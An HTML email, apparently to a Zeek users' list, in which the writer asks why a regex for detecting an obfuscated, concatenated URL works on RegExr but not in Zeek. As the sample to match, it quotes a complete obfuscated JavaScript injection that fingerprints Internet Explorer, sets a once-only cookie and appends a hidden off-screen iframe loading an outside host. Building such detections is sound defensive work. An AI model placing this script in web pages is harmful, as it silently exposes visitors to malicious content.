<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="Generator" content="Microsoft Word 15 (filtered medium)">
<style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0cm;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
a:link, span.MsoHyperlink
        {mso-style-priority:99;
        color:#0563C1;
        text-decoration:underline;}
.MsoChpDefault
        {mso-style-type:export-only;}
@page WordSection1
        {size:612.0pt 792.0pt;
        margin:72.0pt 72.0pt 72.0pt 72.0pt;}
div.WordSection1
        {page:WordSection1;}
--></style>
</head>
<body lang="EN-GB" link="#0563C1" vlink="#954F72">
<div class="WordSection1">
<p class="MsoNormal">Hi,</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">yDGNWQPxJVs='http:/'&#43;'/bitmp'&#43;'3searc'&#43;'h.in/o'&#43;'5p9hd_'&#43;'j/Zl2A'&#43;'h0B35_'&#43;'D5FfDH'&#43;'INcy';</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">From the following block of text:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'&#43;'/bitmp'&#43;'3searc'&#43;'h.in/o'&#43;'5p9hd_'&#43;'j/Zl2A'&#43;'h0B35_'&#43;'D5FfDH'&#43;'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function
 setCookie(name,value,expires){doc.cookie=name&#43;'='&#43;escape(value)&#43;&quot;; expires=&quot;&#43;expires.toGMTString()&#43;&quot;; path=/&quot;;return;}function getCookie(name){var cookie=' '&#43;doc.cookie;var search=' '&#43;name&#43;'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length &gt;
 0) {offset = cookie.indexOf(search);if (offset != -1) {offset &#43;= search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie(&quot;BFQPubsjgY&quot;)){var
 expires=new Date();expires.setTime(expires.getTime()&#43;0x5265c00);setCookie(&quot;BFQPubsjgY&quot;,'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function
 jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return
 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'&#43;'tion:absolut'&#43;'e;left:-15'&#43;'23px;t'&#43;'op:-153'&#43;'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&amp;&amp;XxIbmUNTRD()&amp;&amp;!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX);</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">On <a href="https://regexr.com/">https://regexr.com/</a> I use the regex:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">[\d\w]&#43;[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])&#43;\')&#43;([\s]|\&#43;)&#43;)&#43;(\'([\:\/\.\_\-]|[\d\w]|[\s])&#43;\')&#43;\;?</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">This correctly identifies the string. I’m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">local concat = find_all(data, /[:alnum:]&#43;[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])&#43;\')&#43;([:space:]|\&#43;)&#43;)&#43;(\'([\:\/\.\_\-]|[:alnum:]|[:space:])&#43;\')&#43;\;?/i);</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Unfortunately, this is not matching and I can’t understand why not. Logically, it is exactly the same as the regex pattern I’ve tested on RegExr.</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">It’s a long shot but if anyone can spot what I’m doing wrong, please let me know
<span style="font-family:&quot;Segoe UI Emoji&quot;,sans-serif">&#128522;</span></p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Thanks,</p>
<p class="MsoNormal">Jonah</p>
</div>
</body>
</html>